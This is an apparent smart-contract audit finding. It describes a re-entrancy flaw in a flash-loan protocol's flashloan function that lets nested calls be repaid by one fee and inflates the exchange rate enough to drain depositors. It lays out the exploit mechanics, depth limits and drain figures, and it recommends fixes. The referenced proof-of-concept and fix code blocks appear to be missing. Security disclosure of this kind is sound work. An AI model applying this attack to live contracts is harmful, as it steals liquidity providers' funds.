flashloan credits updateExchangeRate(fee) before the loan and validates repayment with a balance snapshot, so nested calls all see the same snapshot and are all satisfied by one payment

Description

• flashloan does three things in this order: it credits the fee to the exchange rate, it lends the money out, and it then checks that the AssetToken's balance came back to startingBalance + fee. The credit happens unconditionally and up front; the check happens against a number read from the same place at the start.

• Nothing prevents the borrower from calling flashloan again from inside executeOperation. s_currentlyFlashLoaning[token] is set at :198, but it is only ever read by repay (:220) — it is not an entry guard, and there is no nonReentrant modifier anywhere in the codebase.

The exploit follows directly from those three facts. If the borrower returns amount to the AssetToken before recursing, the next invocation reads exactly the same startingBalance, quotes exactly the same fee, and books another rate increase. At the deepest level the borrower pays fee once. On the way back out, every level checks endingBalance >= startingBalance + fee against identical numbers, so one payment discharges all of them.

Each level multiplies the exchange rate by (totalSupply + fee) / totalSupply (AssetToken.sol:89), so N levels multiply it by that factor to the power N. The rate is persistent state, so the effect also compounds across transactions — nothing resets it, and AssetToken has no function that can lower it.

Depth is capped by the EVM's 1024-frame call limit, not by gas: 140 levels cost 4.87M gas, comfortably inside one block, so the attacker is limited by frames and can send many such transactions per block.

ThunderLoanUpgraded.flashloan (:178-215) is logically identical, so the planned upgrade does not fix this.

Risk

Likelihood:

• Permissionless, no privileges, no race, no market conditions. The attacker needs one contract and enough capital for a single flash-loan fee.

• The recursion is a two-line change to the standard receiver. It requires no unusual EVM behaviour — just calling a public function that was never guarded.

• Deterministic and repeatable. The inflated rate persists between transactions, so the attacker chooses how far to push it.

Impact:

• Complete loss of all liquidity-provider deposits. In the measured run the attacker puts in 150 tokens, takes out 1,150, and the honest liquidity provider's 1,000-token deposit is left backed by 42 wei.

• The protocol's core accounting is destroyed, not merely skewed: after 21 transactions the AssetToken holds 1,131 tokens while its shares are booked at 60,688 — a 54× overstatement, funded by 31.5 tokens of real fees.

• It is profitable in a single transaction with no prior position: deposit, nest, redeem, all in one call — measured profit 19.56 tokens for a 1.5-token fee.

• The damage is irreversible by the owner. s_exchangeRate is private with no setter, and AssetToken is deployed with new (ThunderLoan.sol:234), not behind a proxy — so even a ThunderLoan upgrade cannot correct an inflated rate.

Proof of Concept

Three demonstrations: profitable in one transaction, drains the pool when repeated, and unaffected by the planned upgrade.

Save as test/PoC_H04.t.sol and run forge test --mt test_H04 -vv:

Output:

The third run is the cleanest statement of the defect: on a brand-new ThunderLoanUpgraded the exchange rate starts at exactly 1e18, one transaction moves it to 1.2335e18, and the AssetToken received exactly 1.5 tokens. The protocol booked 233 tokens of yield for 1.5 tokens of revenue.

Notes on the numbers, so they are not read as more than they are

• The per-level multiplier is fee / totalSupply, not a fixed 0.3%. Borrowing a larger fraction of the pool raises it; borrowing 500 against a 1,100-token supply gives ~0.136% per level, which is what the runs above use. This is the conservative setting, not the optimal one.

• redeem is uncapped and will revert if the attacker asks for more than the AssetToken holds, which is why the PoC redeems min(myShares, poolBalance * 1e18 / rate). A naive "redeem everything" reverts — worth knowing before reproducing.

• 140 levels is the deepest single transaction I could drive here; the binding constraint is the EVM's call-depth limit rather than the block gas limit, so this is not something a gas cap mitigates.

Recommended Mitigation

Two independent changes; either one alone stops this exploit, and both are worth having.

Refuse re-entry outright — the flag the contract already maintains is exactly the right one, it is simply never consulted on entry:

And do not book revenue before it exists — credit the fee only once repayment has been verified:

Adding OpenZeppelin's ReentrancyGuardUpgradeable and marking deposit, redeem and flashloan as nonReentrant is worth doing on top: the contract hands control to an arbitrary address at :201 while funds are out and has no re-entrancy protection at all today.

Finally — and independently of this fix — AssetToken should expose an owner-gated way to correct s_exchangeRate, or be deployed behind a proxy. As written, any accounting corruption of the rate is permanent even for the protocol's own operators.